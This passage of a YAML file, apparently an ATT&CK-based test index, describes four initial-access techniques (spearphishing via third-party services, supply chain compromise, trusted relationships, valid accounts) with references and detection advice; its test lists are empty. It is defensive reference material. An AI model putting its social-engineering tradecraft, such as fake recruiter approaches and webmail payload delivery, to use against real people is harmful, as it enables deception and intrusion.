      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Spearphishing via Service
      description: "Adversaries may send spearphishing messages via third-party services
        in an attempt to gain access to victim systems. Spearphishing via service
        is a specific variant of spearphishing. It is different from other forms of
        spearphishing in that it employs the use of third party services rather than
        directly via enterprise email channels. \n\nAll forms of spearphishing are
        electronically delivered social engineering targeted at a specific individual,
        company, or industry. In this scenario, adversaries send messages through
        various social media services, personal webmail, and other non-enterprise
        controlled services. These services are more likely to have a less-strict
        security policy than an enterprise. As with most kinds of spearphishing, the
        goal is to generate rapport with the target or get the target's interest in
        some way. Adversaries will create fake social media accounts and message employees
        for potential job opportunities. Doing so allows a plausible reason for asking
        about services, policies, and software that's running in an environment. The
        adversary can then send malicious links or attachments through these services.\n\nA
        common example is to build rapport with a target via social media, then send
        content to a personal webmail service that the target uses on their work computer.
        This allows an adversary to bypass some email restrictions on the work account,
        and the target is more likely to open the file since it's something they were
        expecting. If the payload doesn't work as expected, the adversary can continue
        normal communications and troubleshoot with the target on how to get it working."
      id: attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2020-10-18T01:55:02.988Z'
      created: '2020-03-02T19:24:00.951Z'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: "Because most common third-party services used for spearphishing
        via service leverage TLS encryption, SSL/TLS inspection is generally required
        to detect the initial communication/delivery. With SSL/TLS inspection intrusion
        detection signatures or other security gateway appliances may be able to detect
        malware. \n\nAnti-virus can potentially detect malicious documents and files
        that are downloaded on the user's computer. Endpoint sensing or network sensing
        can potentially detect malicious events once the file is opened (such as a
        Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe)
        for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203)
        or usage of malicious scripts."
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1195:
    technique:
      created: '2018-04-18T17:59:24.739Z'
      modified: '2021-01-06T19:32:28.382Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1195
        url: https://attack.mitre.org/techniques/T1195
      - external_id: CAPEC-437
        source_name: capec
        url: https://capec.mitre.org/data/definitions/437.html
      - external_id: CAPEC-438
        source_name: capec
        url: https://capec.mitre.org/data/definitions/438.html
      - external_id: CAPEC-439
        source_name: capec
        url: https://capec.mitre.org/data/definitions/439.html
      - source_name: IBM Storwize
        url: https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E
        description: IBM Support. (2017, April 26). Storwize USB Initialization Tool
          may contain malicious code. Retrieved May 28, 2019.
      - source_name: Schneider Electric USB Malware
        url: https://www.se.com/ww/en/download/document/SESN-2018-236-01/
        description: Schneider Electric. (2018, August 24). Security Notification
          – USB Removable Media Provided With Conext Combox and Conext Battery Monitor.
          Retrieved May 28, 2019.
      - url: https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
        description: Avast Threat Intelligence Team. (2018, March 8). New investigations
          into the CCleaner incident point to a possible third stage that had keylogger
          capacities. Retrieved March 15, 2018.
        source_name: Avast CCleaner3 2018
      - url: https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/
        description: Windows Defender Research. (2018, March 7). Behavior monitoring
          combined with machine learning spoils a massive Dofoil coin mining campaign.
          Retrieved March 20, 2018.
        source_name: Microsoft Dofoil 2018
      - url: https://www.commandfive.com/papers/C5_APT_SKHack.pdf
        description: Command Five Pty Ltd. (2011, September). SK Hack by an Advanced
          Persistent Threat. Retrieved April 6, 2018.
        source_name: Command Five SK 2011
      - url: https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
        description: O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood
          Project. Retrieved February 15, 2018.
        source_name: Symantec Elderwood Sept 2012
      - source_name: Trendmicro NPM Compromise
        url: https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets
        description: Trendmicro. (2018, November 29). Hacker Infects Node.js Package
          to Steal from Bitcoin Wallets. Retrieved April 10, 2019.
      description: "Adversaries may manipulate products or product delivery mechanisms
        prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply
        chain compromise can take place at any stage of the supply chain including:\n\n*
        Manipulation of development tools\n* Manipulation of a development environment\n*
        Manipulation of source code repositories (public or private)\n* Manipulation
        of source code in open-source dependencies\n* Manipulation of software update/distribution
        mechanisms\n* Compromised/infected system images (multiple cases of removable
        media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider
        Electric USB Malware) \n* Replacement of legitimate software with modified
        versions\n* Sales of modified/counterfeit products to legitimate distributors\n*
        Shipment interdiction\n\nWhile supply chain compromise can impact any component
        of hardware or software, attackers looking to gain execution have often focused
        on malicious additions to legitimate software in software distribution or
        update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil
        2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired
        victim set (Citation: Symantec Elderwood Sept 2012) or malicious software
        may be distributed to a broad set of consumers but only move on to additional
        tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command
        Five SK 2011) Popular open source projects that are used as dependencies in
        many applications may also be targeted as a means to add malicious code to
        users of the dependency. (Citation: Trendmicro NPM Compromise)"
      name: Supply Chain Compromise
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7
      x_mitre_version: '1.2'
      x_mitre_detection: Use verification of distributed binaries through hash checking
        or other integrity checking mechanisms. Scan downloads for malicious signatures
        and attempt to test software and updates prior to deployment while taking
        note of potential suspicious activity. Perform physical inspection of hardware
        to look for potential tampering.
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_contributors:
      - Veeral Patel
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1199:
    technique:
      created: '2018-04-18T17:59:24.739Z'
      modified: '2021-03-08T10:33:01.045Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1199
        url: https://attack.mitre.org/techniques/T1199
      - source_name: CISA IT Service Providers
        url: https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers
        description: CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved
          November 16, 2020.
      description: |-
        Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.

        Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)
      name: Trusted Relationship
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925
      x_mitre_contributors:
      - Praetorian
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Logon Session: Logon Session Metadata'
      - 'Logon Session: Logon Session Creation'
      x_mitre_detection: Establish monitoring for activity conducted by second and
        third party providers and other trusted entities that may be leveraged as
        a means to gain access to the network. Depending on the type of relationship,
        an adversary may have access to significant amounts of information about the
        target before conducting an operation, especially if the trusted relationship
        is based on IT services. Adversaries may be able to act quickly towards an
        objective, so proper monitoring for behavior related to Credential Access,
        Lateral Movement, and Collection will be important to detect the intrusion.
      x_mitre_platforms:
      - Windows
      - SaaS
      - IaaS
      - Linux
      - macOS
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1078:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1078
        url: https://attack.mitre.org/techniques/T1078
      - external_id: CAPEC-560
        source_name: capec
        url: https://capec.mitre.org/data/definitions/560.html
      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        source_name: TechNet Credential Theft
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      description: |-
        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)
      name: Valid Accounts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-12T18:27:52.298Z'
      created: '2017-05-31T21:31:00.645Z'
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_defense_bypassed:
      - Firewall
      - Host intrusion prevention systems
      - Network intrusion detection system
      - Application control
      - System access controls
      - Anti-virus
      x_mitre_detection: |-
        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_effective_permissions:
      - User
      - Administrator
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      x_mitre_contributors:
      - Yossi Weizman, Azure Defender Research Team
      - Netskope
      - Mark Wee
      - Praetorian
      x_mitre_is_subtechnique: false
    atomic_tests: []
